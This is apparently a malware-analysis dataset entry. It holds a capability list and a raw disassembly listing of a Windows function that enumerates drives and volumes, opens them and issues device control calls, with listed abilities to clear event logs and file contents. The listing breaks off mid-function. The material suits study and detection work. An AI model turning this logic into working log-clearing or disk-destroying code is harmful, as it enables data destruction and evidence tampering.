Function at 0x140003090
Capabilities:
Acquire debug privileges
Clear file content
Clear windows event logs
Create directory
Create thread
Delete directory
Enumerate disk volumes
Enumerate process modules
Get disk information
Get disk size
Get file size
Read file on windows
Terminate process
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x3bb8
call fcn.140099af4
sub rsp, rax
movdqa xmmword [rsp + 0x3ba0], xmm15
movdqa xmmword [rsp + 0x3b90], xmm14
movdqa xmmword [rsp + 0x3b80], xmm13
movdqa xmmword [rsp + 0x3b70], xmm12
movdqa xmmword [rsp + 0x3b60], xmm11
movdqa xmmword [rsp + 0x3b50], xmm10
movdqa xmmword [rsp + 0x3b40], xmm9
movdqa xmmword [rsp + 0x3b30], xmm8
movdqa xmmword [rsp + 0x3b20], xmm7
movdqa xmmword [rsp + 0x3b10], xmm6
lea rcx, [0x140288260]
mov edx, 0x1f4
call fcn.1400136b0
lea rcx, [0x140288290]
mov edx, 0x1f4
call fcn.1400136b0
lea rcx, [0x1402882a8]
mov edx, 0x1f4
call fcn.1400136b0
lea rcx, [0x140288408]
mov edx, 0x1f4
call fcn.1400137e0
lea rcx, [0x1402882c0]
mov edx, 0x1f4
call fcn.1400139c0
lea rcx, [0x1402882d8]
mov edx, 0x1f4
call fcn.1400139c0
lea rcx, [0x1402882f0]
mov edx, 0x1f4
call fcn.1400139c0
mov rcx, qword [0x1402884a8]
mov rax, qword [0x140288498]
sub rcx, rax
cmp rcx, 0xf9f
ja 0x14000324c
mov rdi, qword [0x1402884a0]
sub rdi, rax
mov ecx, 0xfa0
call fcn.14006fb50
mov r10, rdi
and r10, 0xfffffffffffffff8
lea rdx, [rax + r10]
lea r8, [rax + 0xfa0]
mov rcx, qword [0x1402884a0]
mov r9, qword [0x140288498]
mov r11, rcx
sub r11, r9
je 0x14000322a
add r11, 0xfffffffffffffff8
cmp r11, 0x98
jb 0x1400031fc
add r10, rax
mov rsi, rcx
sub rsi, r10
cmp rsi, 0x20
jae 0x140006b32
mov r10, rdx
mov rsi, rcx
nop word cs:[rax + rax]
mov rax, qword [rsi - 8]
add rsi, 0xfffffffffffffff8
mov qword [r10 - 8], rax
add r10, 0xfffffffffffffff8
cmp rsi, r9
jne 0x140003210
mov rcx, r9
jmp 0x14000322d
mov r10, rdx
mov qword [0x140288498], r10
mov qword [0x1402884a0], rdx
mov qword [0x1402884a8], r8
test rcx, rcx
je 0x14000324c
call fcn.14006fbd0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x38b0], xmm0
mov qword [rsp + 0x38c0], 0
movdqa xmmword [rsp + 0x36a0], xmm0
mov qword [rsp + 0x36b0], 0
movdqa xmmword [rsp + 0x590], xmm0
mov qword [rsp + 0x5a0], 0
movdqa xmmword [rsp + 0x250], xmm0
mov qword [rsp + 0x260], 0
movdqa xmmword [rsp + 0x100], xmm0
mov qword [rsp + 0x110], 0
movdqa xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x80], 0
movabs rax, 0xbe67afef63dbd2f2
mov qword [rsp + 0xf90], rax
mov dword [rsp + 0xf98], 0x3a166b58
lea rcx, [rsp + 0x250]
lea rdx, [rsp + 0xf90]
mov r8d, 0xc
call fcn.140071520
movups xmm0, xmmword [0x1401f6f8c]
movaps xmmword [rsp + 0xfa0], xmm0
movdqu xmm0, xmmword [0x1401f6f7c]
movdqa xmmword [rsp + 0xf90], xmm0
lea rcx, [rsp + 0x590]
lea rdx, [rsp + 0xf90]
mov r8d, 0x20
call fcn.140071520
lea rdx, [0x1401f6f9c]
lea rsi, [rsp + 0xf90]
mov r8d, 0x1b9
mov rcx, rsi
call sub.msvcrt.dll_memcpy
lea rcx, [rsp + 0x100]
mov r8d, 0x1b9
mov rdx, rsi
call fcn.140071520
movups xmm0, xmmword [0x1401f7175]
movaps xmmword [rsp + 0xfb0], xmm0
movups xmm0, xmmword [0x1401f7165]
movaps xmmword [rsp + 0xfa0], xmm0
movdqu xmm0, xmmword [0x1401f7155]
movdqa xmmword [rsp + 0xf90], xmm0
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0xf90]
mov r8d, 0x30
call fcn.140071520
lea rdx, [0x1401f7185]
lea rsi, [rsp + 0xf90]
mov r8d, 0x14ca
mov rcx, rsi
call sub.msvcrt.dll_memcpy
lea rcx, [rsp + 0x38b0]
mov r8d, 0x14ca
mov rdx, rsi
call fcn.140071520
movups xmm0, xmmword [0x1401f869b]
movups xmmword [rsp + 0xfdc], xmm0
movups xmm0, xmmword [0x1401f868f]
movaps xmmword [rsp + 0xfd0], xmm0
movups xmm0, xmmword [0x1401f867f]
movaps xmmword [rsp + 0xfc0], xmm0
movups xmm0, xmmword [0x1401f866f]
movaps xmmword [rsp + 0xfb0], xmm0
movups xmm0, xmmword [0x1401f865f]
movaps xmmword [rsp + 0xfa0], xmm0
movdqu xmm0, xmmword [str.F0_14_A2_7A_06_95_CE_59_67_6T_E0_78_67_74_41_Y7_69_FV_C4_0Y_FC_9Y_86_2T_AA_EC_09_E9_C2_99_4TDeFaUlTID]
movdqa xmmword [rsp + 0xf90], xmm0
lea rcx, [rsp + 0x36a0]
lea rdx, [rsp + 0xf90]
mov r8d, 0x5c
call fcn.140071520
mov word [0x140288448], 0x14a
test byte [rsp + 0x70], 1
jne 0x1400044e1
test byte [rsp + 0x100], 1
jne 0x1400044fc
test byte [rsp + 0x250], 1
jne 0x140004517
test byte [rsp + 0x590], 1
jne 0x140004532
test byte [rsp + 0x36a0], 1
jne 0x14000454d
test byte [rsp + 0x38b0], 1
je 0x1400034c5
mov rcx, qword [rsp + 0x38c0]
call fcn.14006fbd0
lea rcx, [rsp + 0x980]
call fcn.14005e7e0
call qword [sym.imp.KERNEL32.DLL_GetLogicalDrives]
mov esi, eax
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x310], xmm0
mov qword [rsp + 0x320], 0
lea rcx, [rsp + 0x38b0]
mov edx, 0x12c
call qword [sym.imp.KERNEL32.DLL_FindFirstVolumeW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140003657
mov eax, 1
lea rbx, [rsp + 0x38b0]
mov rbp, qword [sym.imp.KERNEL32.DLL_FindNextVolumeW]
lea r15, [rsp + 0xf90]
jmp 0x140003573
mov rcx, qword [rsp + 0xfa0]
mov qword [rax + 0x10], rcx
movdqu xmm0, xmmword [rsp + 0xf90]
movdqu xmmword [rax], xmm0
add rax, 0x18
mov qword [rsp + 0x318], rax
mov rcx, rdi
mov rdx, rbx
mov r8d, 0x12c
call rbp
test eax, eax
je 0x140003657
mov rcx, rbx
call sub.msvcrt.dll_wcslen
mov r14, rax
movabs rax, 0x7fffffffffffffef
cmp r14, rax
ja 0x14000ac80
cmp r14, 0xa
ja 0x1400035c0
lea eax, [r14 + r14]
mov byte [rsp + 0xf90], al
lea r13, [rsp + 0xf92]
jmp 0x1400035f8
mov r12, r14
or r12, 7
inc r12
js 0x14000aca7
lea rcx, [r12 + r12]
call fcn.14006fb50
mov r13, rax
mov qword [rsp + 0xfa0], rax
or r12, 1
mov qword [rsp + 0xf90], r12
mov qword [rsp + 0xf98], r14
mov r8, r14
add r8, r14
mov rcx, r13
mov rdx, rbx
call sub.msvcrt.dll_memcpy
mov word [r13 + r14*2], 0
mov rax, qword [rsp + 0x318]
cmp rax, qword [rsp + 0x320]
jb 0x140003540
lea rcx, [rsp + 0x310]
mov rdx, r15
call fcn.140036c10
test byte [rsp + 0xf90], 1
je 0x140003565
mov rcx, qword [rsp + 0xfa0]
call fcn.14006fbd0
jmp 0x140003565
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_FindVolumeClose]
xor r15d, r15d
lea rdi, [0x1401f55da]
lea rbx, [rsp + 0x36a0]
pxor xmm6, xmm6
lea r14, [rsp + 0x38b0]
mov r13, qword [sym.imp.KERNEL32.DLL_GetVolumeNameForVolumeMountPointW]
jmp 0x14000369d
mov qword [rsp + 0x318], rbp
nop
inc r15d
cmp r15d, 0x1c
je 0x140003851
bt esi, r15d
jae 0x140003690
mov word [rsp + 0x38b0], 0
mov byte [rsp + 0x36a0], 2
lea eax, [r15 + 0x61]
movsx eax, al
mov word [rsp + 0x36a2], ax
mov word [rsp + 0x36a4], 0
mov rcx, rbx
mov rdx, rdi
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xfa0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xf90], xmm0
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0xf90], 1
lea rcx, [rsp + 0xf92]
je 0x140003718
mov rcx, qword [rsp + 0xfa0]
mov rdx, r14
mov r8d, 0x12c
call r13
test byte [rsp + 0xf90], 1
je 0x14000373b
mov rcx, qword [rsp + 0xfa0]
call fcn.14006fbd0
test byte [rsp + 0x36a0], 1
je 0x140003752
mov rcx, qword [rsp + 0x36b0]
call fcn.14006fbd0
mov rax, qword [rsp + 0x310]
cmp rax, qword [rsp + 0x318]
je 0x140003690
mov rbp, rax
nop dword [rax + rax]
lea r12, [rax + 2]
test byte [rax], 1
mov rdx, r12
je 0x140003780
mov rdx, qword [rax + 0x10]
mov rcx, r14
call sub.msvcrt.dll_wcscmp
test eax, eax
je 0x1400037a6
add rbp, 0x18
add r12, 0x16
mov rax, r12
cmp r12, qword [rsp + 0x318]
jne 0x140003770
jmp 0x140003690
mov rax, rbp
add rax, 0x18
mov r12, qword [rsp + 0x318]
cmp rax, r12
jne 0x1400037fc
cmp rax, rbp
jne 0x14000383c
jmp 0x140003687
lea rcx, [rbp + 0x18]
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x10], rax
movdqu xmm0, xmmword [rbp + 0x18]
movdqu xmmword [rbp], xmm0
mov byte [rbp + 0x18], 0
mov word [rbp + 0x1a], 0
add rbp, 0x30
cmp rbp, r12
mov rbp, rcx
je 0x14000380d
test byte [rbp], 1
je 0x1400037d0
mov rcx, qword [rbp + 0x10]
call fcn.14006fbd0
jmp 0x1400037d0
mov rax, qword [rsp + 0x318]
mov rbp, rcx
cmp rax, rbp
jne 0x14000383c
jmp 0x140003687
mov rax, r12
cmp r12, rbp
je 0x140003687
lea r12, [rax - 0x18]
test byte [rax - 0x18], 1
je 0x140003830
mov rcx, qword [rax - 8]
call fcn.14006fbd0
jmp 0x140003830
xor r12d, r12d
lea r15, [rsp + 0xf91]
lea rdi, [0x1401f55e0]
lea rbx, [rsp + 0xf90]
pxor xmm6, xmm6
jmp 0x14000388d
inc r12d
cmp r12d, 0x1c
je 0x140003952
bt esi, r12d
jae 0x140003880
mov byte [rsp + 0xf90], 2
lea eax, [r12 + 0x61]
mov byte [r15], al
mov byte [rsp + 0xf92], 0
mov rcx, rbx
mov rdx, rdi
call fcn.140071fd0
movzx ebp, byte [rax]
mov rcx, qword [rax + 8]
mov qword [rsp + 0x36a7], rcx
mov rcx, qword [rax + 1]
mov qword [rsp + 0x36a0], rcx
mov r14, qword [rax + 0x10]
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov ecx, 0x28
call fcn.14006fb50
mov byte [rax + 0x10], bpl
mov rcx, qword [rsp + 0x36a0]
mov rdx, qword [rsp + 0x36a7]
mov qword [rax + 0x11], rcx
mov qword [rax + 0x18], rdx
mov qword [rax + 0x20], r14
lea rcx, [0x140285250]
mov qword [rax + 8], rcx
mov rcx, qword [0x140285250]
mov qword [rax], rcx
mov qword [rcx + 8], rax
mov qword [0x140285250], rax
inc qword [0x140285260]
test byte [rsp + 0xf90], 1
je 0x140003880
mov rcx, qword [rsp + 0xfa0]
call fcn.14006fbd0
jmp 0x140003880
lea rcx, [rsp + 0x36a0]
mov edx, 0x104
call qword [sym.imp.KERNEL32.DLL_GetSystemWindowsDirectoryW]
movzx ecx, word [rsp + 0x36a0]
call sub.msvcrt.dll_towlower
mov word [rsp + 0x44a], ax
movzx ecx, word [rsp + 0x36a2]
call sub.msvcrt.dll_towlower
movabs rcx, 0x5c003f005c005c
mov word [rsp + 0x44c], ax
mov word [rsp + 0x44e], 0
mov byte [rsp + 0xf90], 8
mov qword [rsp + 0xf92], rcx
mov word [rsp + 0xf9a], 0
lea rcx, [rsp + 0xf90]
lea rdx, [rsp + 0x44a]
call fcn.140072e90
movzx ebx, byte [rax]
movzx esi, byte [rax + 1]
movzx edi, word [rax + 2]
mov ecx, dword [rax + 0xc]
mov dword [rsp + 0x598], ecx
mov rcx, qword [rax + 4]
mov qword [rsp + 0x590], rcx
mov r14, qword [rax + 0x10]
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [0x140288308], 1
je 0x140003a1c
mov rcx, qword [0x140288318]
call fcn.14006fbd0
mov byte [0x140288308], bl
mov byte [0x140288309], sil
mov word [0x14028830a], di
mov rax, qword [rsp + 0x590]
mov qword [0x14028830c], rax
mov eax, dword [rsp + 0x598]
mov dword [0x140288314], eax
mov qword [0x140288318], r14
test byte [rsp + 0xf90], 1
je 0x140003a6a
mov rcx, qword [rsp + 0xfa0]
call fcn.14006fbd0
pxor xmm6, xmm6
movdqa xmmword [rsp + 0x4b0], xmm6
mov qword [rsp + 0x4c0], 0
lea rax, [rsp + 0x1b8]
movdqu xmmword [rsp + 0x1b8], xmm6
mov qword [rsp + 0x1b0], rax
mov dword [rsp + 0x20c], 0xd67ca1b3
mov dword [rsp + 0x3ec], 0
mov rbp, qword [0x140285258]
xor ebx, ebx
lea rax, [0x140285250]
cmp rbp, rax
jne 0x140003aee
xor ecx, ecx
jmp 0x140004308
mov rsi, qword [rbp + 8]
inc dword [rsp + 0x3ec]
mov rbp, rsi
lea rax, [0x140285250]
cmp rsi, rax
je 0x140004300
movzx edi, byte [rbp + 0x10]
mov eax, edi
and al, 1
je 0x140003b00
mov rdi, qword [rbp + 0x18]
jmp 0x140003b03
shr rdi, 1
lea r14, [rdi + 1]
cmp r14, 0xfffffffffffffff0
jae 0x14000ac73
lea rsi, [rbp + 0x10]
cmp r14, 0x16
ja 0x140003b40
movdqa xmmword [rsp + 0xf90], xmm6
mov qword [rsp + 0xfa0], 0
add r14b, r14b
mov byte [rsp + 0xf90], r14b
xor r13d, r13d
jmp 0x140003b79
mov r12, r14
or r12, 0xf
inc r12
mov rcx, r12
call fcn.14006fb50
mov r13, rax
or r12, 1
mov qword [rsp + 0xf90], r12
mov qword [rsp + 0xfa0], rax
mov qword [rsp + 0xf98], r14
movzx eax, byte [rsi]
and al, 1
mov r14d, r12d
test r14b, 1
cmove r13, r15
lea r14, [rbp + 0x11]
mov rdx, r14
test al, al
je 0x140003b90
mov rdx, qword [rbp + 0x20]
mov rcx, r13
mov r8, rdi
call sub.msvcrt.dll_memmove
mov word [r13 + rdi], 0x5c
test byte [rsp + 0xf90], 1
mov rcx, r15
je 0x140003bb8
mov rcx, qword [rsp + 0xfa0]
call qword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
mov edi, eax
test byte [rsp + 0xf90], 1
je 0x140003bd7
mov rcx, qword [rsp + 0xfa0]
call fcn.14006fbd0
cmp edi, 4
jne 0x140003ca0
mov rcx, qword [rsp + 0x1b8]
lea rdi, [rsp + 0x1b8]
mov r15, rdi
test rcx, rcx
je 0x140003c38
mov eax, dword [rsp + 0x20c]
jmp 0x140003c1b
mov rcx, qword [rdi]
mov r15, rdi
test rcx, rcx
je 0x140003c38
mov rdi, rcx
mov ecx, dword [rcx + 0x20]
cmp eax, ecx
jl 0x140003c10
jle 0x140003f7b
mov rcx, qword [rdi + 8]
test rcx, rcx
jne 0x140003c1b
lea r15, [rdi + 8]
mov ecx, 0x40
call fcn.14006fb50
mov rsi, rax
mov eax, dword [rsp + 0x20c]
mov dword [rsi + 0x20], eax
movdqu xmmword [rsi + 0x28], xmm6
mov qword [rsi + 0x38], 0
movdqu xmmword [rsi], xmm6
mov qword [rsi + 0x10], rdi
mov qword [r15], rsi
mov rax, qword [rsp + 0x1b0]
mov rax, qword [rax]
mov rdx, rsi
test rax, rax
je 0x140003c85
mov qword [rsp + 0x1b0], rax
mov rdx, qword [r15]
mov rcx, qword [rsp + 0x1b8]
call fcn.140036e90
inc qword [rsp + 0x1c0]
jmp 0x140003f7e
movzx edi, byte [rbp + 0x10]
mov eax, edi
and al, 1
je 0x140003cb0
mov rdi, qword [rbp + 0x18]
jmp 0x140003cb3
shr rdi, 1
lea r15, [rdi + 1]
cmp r15, 0xfffffffffffffff0
jae 0x14000ac9a
cmp r15, 0x16
ja 0x140003cf0
movdqa xmmword [rsp + 0xf90], xmm6
mov qword [rsp + 0xfa0], 0
add r15b, r15b
mov byte [rsp + 0xf90], r15b
xor r13d, r13d
jmp 0x140003d29
mov r12, r15
or r12, 0xf
inc r12
mov rcx, r12
call fcn.14006fb50
mov r13, rax
or r12, 1
mov qword [rsp + 0xf90], r12
mov qword [rsp + 0xfa0], rax
mov qword [rsp + 0xf98], r15
movzx eax, byte [rsi]
and al, 1
mov r15d, r12d
test r15b, 1
lea rcx, [rsp + 0xf91]
cmove r13, rcx
mov rdx, r14
test al, al
je 0x140003d44
mov rdx, qword [rbp + 0x20]
mov rcx, r13
mov r8, rdi
call sub.msvcrt.dll_memmove
mov word [r13 + rdi], 0x5c
test byte [rsp + 0xf90], 1
lea rcx, [rsp + 0xf91]
lea r15, [rsp + 0xf91]
je 0x140003d79
mov rcx, qword [rsp + 0xfa0]
call qword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
mov edi, eax
test byte [rsp + 0xf90], 1
je 0x140003d98
mov rcx, qword [rsp + 0xfa0]
call fcn.14006fbd0
cmp edi, 5
jne 0x140003dd0
mov rax, qword [rbp]
mov rsi, qword [rbp + 8]
mov qword [rax + 8], rsi
mov rcx, qword [rbp + 8]
mov qword [rcx], rax
dec qword [0x140285260]
test byte [rbp + 0x10], 1
je 0x140003dc6
mov rcx, qword [rbp + 0x20]
call fcn.14006fbd0
mov rcx, rbp
jmp 0x1400042f6
lea rcx, [rsp + 0x590]
lea rdx, str.._
mov r8, rsi
call fcn.140072fc0
test byte [rsp + 0x590], 1
lea rcx, [rsp + 0x591]
je 0x140003e01
mov rcx, qword [rsp + 0x5a0]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
mov edx, 0x80
mov r8d, 3
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x14000408b
mov rax, qword [0x1401fd048]
mov rax, qword [rax]
mov dword [rsp + 0x20], 4
mov rcx, rsi
lea rdx, [rsp + 0x70]
lea r8, [rsp + 0x410]
mov r9d, 8
call rax
test eax, eax
jne 0x140003e77
test byte [rsp + 0x414], 4
jne 0x140004190
mov dword [rsp + 0x1d0], 0
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xf90]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x28], 0x20
mov rcx, rsi
mov edx, 0x560000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_DeviceIoControl]
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edi, dword [rsp + 0xf98]
mov rax, qword [rsp + 0x1b8]
lea r12, [rsp + 0x1b8]
jmp 0x140003ef4
mov rax, qword [r12]
mov r15, r12
test rax, rax
je 0x140003f1b
mov r12, rax
mov eax, dword [rax + 0x20]
cmp edi, eax
jl 0x140003ef0
jle 0x1400041dd
mov rax, qword [r12 + 8]
test rax, rax
jne 0x140003efc
lea r15, [r12 + 8]
mov ecx, 0x40
call fcn.14006fb50
mov rsi, rax
mov dword [rax + 0x20], edi
movdqu xmmword [rax + 0x28], xmm6
mov qword [rax + 0x38], 0
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], r12
mov qword [r15], rax
mov rax, qword [rsp + 0x1b0]
mov rax, qword [rax]
mov rdx, rsi
test rax, rax
je 0x140003f61
mov qword [rsp + 0x1b0], rax
mov rdx, qword [r15]
mov rcx, qword [rsp + 0x1b8]
call fcn.140036e90
inc qword [rsp + 0x1c0]
jmp 0x1400041e0
mov rsi, rdi
test byte [rbp + 0x10], 1
lea r15, [rsp + 0xf91]
je 0x140003f90
mov r14, qword [rbp + 0x20]
mov byte [rsp + 0x590], 4
movsx eax, byte [r14]
mov word [rsp + 0x592], ax
movsx eax, byte [r14 + 1]
mov word [rsp + 0x594], ax
mov word [rsp + 0x596], 0
lea rcx, [rsp + 0x590]
xor edx, edx
lea r8, [0x1401f55e2]
call fcn.140072900
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xfa0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xf90], xmm0
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov rax, qword [rsi + 0x30]
cmp rax, qword [rsi + 0x38]
jae 0x140004040
mov rcx, qword [rsp + 0xfa0]
mov qword [rax + 0x10], rcx
movdqa xmm0, xmmword [rsp + 0xf90]
movdqu xmmword [rax], xmm0
movdqa xmmword [rsp + 0xf90], xmm6
mov qword [rsp + 0xfa0], 0
add rax, 0x18
mov qword [rsi + 0x30], rax
jmp 0x14000406b
add rsi, 0x28
mov rcx, rsi
lea rdx, [rsp + 0xf90]
call fcn.140036c10
test byte [rsp + 0xf90], 1
je 0x14000406b
mov rcx, qword [rsp + 0xfa0]
call fcn.14006fbd0
test byte [rsp + 0x590], 1
je 0x140003ad0
mov rcx, qword [rsp + 0x5a0]
call fcn.14006fbd0
jmp 0x140003ad0
test byte [rbp + 0x10], 1
je 0x140004095
mov r14, qword [rbp + 0x20]
mov byte [rsp + 0x250], 4
movsx eax, byte [r14]
mov word [rsp + 0x252], ax
movsx eax, byte [r14 + 1]
mov word [rsp + 0x254], ax
mov word [rsp + 0x256], 0
lea rcx, [rsp + 0x250]
xor edx, edx
lea r8, [0x1401f55e2]
call fcn.140072900
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xfa0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xf90], xmm0
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov rax, qword [rsp + 0x4b8]
cmp rax, qword [rsp + 0x4c0]
jae 0x140004149
mov rcx, qword [rsp + 0xfa0]
mov qword [rax + 0x10], rcx
movdqa xmm0, xmmword [rsp + 0xf90]
movdqu xmmword [rax], xmm0
movdqa xmmword [rsp + 0xf90], xmm6
mov qword [rsp + 0xfa0], 0
add rax, 0x18
mov qword [rsp + 0x4b8], rax
jmp 0x140004175
lea rcx, [rsp + 0x4b0]
lea rdx, [rsp + 0xf90]
call fcn.140036c10
test byte [rsp + 0xf90], 1
je 0x140004175
mov rcx, qword [rsp + 0xfa0]
call fcn.14006fbd0
test byte [rsp + 0x250], 1
je 0x1400042dc
mov rcx, qword [rsp + 0x260]
jmp 0x1400042d7
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rax, qword [rbp]
mov rsi, qword [rbp + 8]
mov qword [rax + 8], rsi
mov rcx, qword [rbp + 8]
mov qword [rcx], rax
dec qword [0x140285260]
test byte [rbp + 0x10], 1
je 0x1400041c2
mov rcx, qword [rbp + 0x20]
call fcn.14006fbd0
mov rcx, rbp
call fcn.14006fbd0
test byte [rsp + 0x590], 1
je 0x140003adb
jmp 0x1400042ee
mov rsi, r12
test byte [rbp + 0x10], 1
lea r15, [rsp + 0xf91]
je 0x1400041f2
mov r14, qword [rbp + 0x20]
mov byte [rsp + 0x100], 4
movsx eax, byte [r14]
mov word [rsp + 0x102], ax
movsx eax, byte [r14 + 1]
mov word [rsp + 0x104], ax
mov word [rsp + 0x106], 0
lea rcx, [rsp + 0x100]
xor edx, edx
lea r8, [0x1401f55e2]
call fcn.140072900
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x260], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x250], xmm0
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov rax, qword [rsi + 0x30]
cmp rax, qword [rsi + 0x38]
jae 0x14000429a
mov rcx, qword [rsp + 0x260]
mov qword [rax + 0x10], rcx
movdqa xmm0, xmmword [rsp + 0x250]
movdqu xmmword [rax], xmm0
movdqa xmmword [rsp + 0x250], xmm6
mov qword [rsp + 0x260], 0
add rax, 0x18
mov qword [rsi + 0x30], rax
jmp 0x1400042c5
add rsi, 0x28
mov rcx, rsi
lea rdx, [rsp + 0x250]
call fcn.140036c10
test byte [rsp + 0x250], 1
je 0x1400042c5
mov rcx, qword [rsp + 0x260]
call fcn.14006fbd0
test byte [rsp + 0x100], 1
je 0x1400042dc
mov rcx, qword [rsp + 0x110]
call fcn.14006fbd0
mov rsi, qword [rbp + 8]
test byte [rsp + 0x590], 1
je 0x140003adb
mov rcx, qword [rsp + 0x5a0]
call fcn.14006fbd0
jmp 0x140003adb
mov rcx, qword [rsp + 0x1b8]
mov dword [rsp + 0x6c], 0
test rcx, rcx
je 0x140004389
mov rax, rcx
jmp 0x14000432c
add rax, 8
mov rax, qword [rax]
test rax, rax
je 0x140004383
mov edx, dword [rax + 0x20]
cmp ebx, edx
jl 0x140004324
jg 0x140004320
test rcx, rcx
je 0x140004389
mov eax, ebx
or eax, 1
mov dword [rsp + 0x6c], eax
mov rax, rcx
jmp 0x140004358
mov rax, qword [rax]
test rax, rax
je 0x140004389
mov edx, dword [rax + 0x20]
cmp dword [rsp + 0x6c], edx
jl 0x140004350
cmp edx, ebx
jg 0x14000436b
add rax, 8
jmp 0x140004350
add ebx, 2
cmp ebx, 0x3e8
jne 0x140004308
mov dword [rsp + 0x6c], 0xffffffff
jmp 0x140004582
mov eax, ebx
mov dword [rsp + 0x6c], ebx
mov rax, qword [rsp + 0x4b8]
cmp rax, qword [rsp + 0x4b0]
je 0x140004582
mov eax, dword [rsp + 0x6c]
mov dword [rsp + 0xf90], eax
lea rsi, [rsp + 0xf98]
lea rdx, [rsp + 0x4b0]
mov rcx, rsi
call fcn.140030460
mov rcx, qword [rsp + 0x1b8]
lea rdi, [rsp + 0x1b8]
mov rbx, rdi
test rcx, rcx
je 0x140004418
mov eax, dword [rsp + 0xf90]
jmp 0x1400043fb
mov rcx, qword [rdi]
mov rbx, rdi
test rcx, rcx
je 0x140004418
mov rdi, rcx
mov ecx, dword [rcx + 0x20]
cmp eax, ecx
jl 0x1400043f0
jle 0x140004494
mov rcx, qword [rdi + 8]
test rcx, rcx
jne 0x1400043fb
lea rbx, [rdi + 8]
mov ecx, 0x40
call fcn.14006fb50
mov ecx, dword [rsp + 0xf90]
mov dword [rax + 0x20], ecx
movdqu xmm0, xmmword [rsp + 0xf98]
movdqu xmmword [rax + 0x28], xmm0
mov rcx, qword [rsp + 0xfa8]
mov qword [rax + 0x38], rcx
pxor xmm0, xmm0
movdqu xmmword [rsi], xmm0
mov qword [rsi + 0x10], 0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], rdi
mov qword [rbx], rax
mov rcx, qword [rsp + 0x1b0]
mov rcx, qword [rcx]
test rcx, rcx
je 0x14000447c
mov qword [rsp + 0x1b0], rcx
mov rax, qword [rbx]
mov rcx, qword [rsp + 0x1b8]
mov rdx, rax
call fcn.140036e90
inc qword [rsp + 0x1c0]
mov rsi, qword [rsp + 0xf98]
test rsi, rsi
je 0x140004582
mov rax, qword [rsp + 0xfa0]
mov rcx, rsi
cmp rax, rsi
jne 0x1400044cc
jmp 0x140004575
mov rax, rdi
cmp rdi, rsi
je 0x14000456d
lea rdi, [rax - 0x18]
test byte [rax - 0x18], 1
je 0x1400044c0
mov rcx, qword [rax - 8]
call fcn.14006fbd0
jmp 0x1400044c0
mov rcx, qword [rsp + 0x80]
call fcn.14006fbd0
test byte [rsp + 0x100], 1
je 0x140003484
mov rcx, qword [rsp + 0x110]
call fcn.14006fbd0
test byte [rsp + 0x250], 1
je 0x140003492
mov rcx, qword [rsp + 0x260]
call fcn.14006fbd0
test byte [rsp + 0x590], 1
je 0x1400034a0
mov rcx, qword [rsp + 0x5a0]
call fcn.14006fbd0
test byte [rsp + 0x36a0], 1
je 0x1400034ae
mov rcx, qword [rsp + 0x36b0]
call fcn.14006fbd0
test byte [rsp + 0x38b0], 1
jne 0x1400034b8
jmp 0x1400034c5
mov rcx, qword [rsp + 0xf98]
mov qword [rsp + 0xfa0], rsi
call fcn.14006fbd0
mov rsi, qword [rsp + 0x1b0]
lea rax, [rsp + 0x1b8]
cmp rsi, rax
je 0x140004740
movzx eax, byte [0x140288308]
mov rcx, rax
shr rcx, 1
test al, 1
cmovne rcx, qword [0x140288310]
lea r8, [0x14028830a]
cmovne r8, qword [0x140288318]
mov rdi, qword [rsi + 0x28]
mov rbx, qword [rsi + 0x30]
jmp 0x1400045d4
add rdi, 0x18
cmp rdi, rbx
je 0x140004640
movzx eax, byte [rdi]
test al, 1
je 0x1400045f0
mov rdx, qword [rdi + 8]
cmp rdx, rcx
jne 0x1400045d0
jmp 0x1400045fb
mov rdx, rax
shr rdx, 1
cmp rdx, rcx
jne 0x1400045d0
test rcx, rcx
je 0x140004685
test al, 1
je 0x140004610
mov rax, qword [rdi + 0x10]
jmp 0x140004614
lea rax, [rdi + 2]
xor edx, edx
nop word cs:[rax + rax]
movzx r9d, word [rax + rdx*2]
cmp r9w, word [r8 + rdx*2]
jne 0x1400045d0
inc rdx
cmp rcx, rdx
jne 0x140004620
jmp 0x140004685
mov rdx, qword [rsi + 8]
test rdx, rdx
je 0x140004660
nop dword [rax]
mov rax, rdx
mov rdx, qword [rdx]
test rdx, rdx
jne 0x140004650
jmp 0x14000466c
mov rax, qword [rsi + 0x10]
cmp qword [rax], rsi
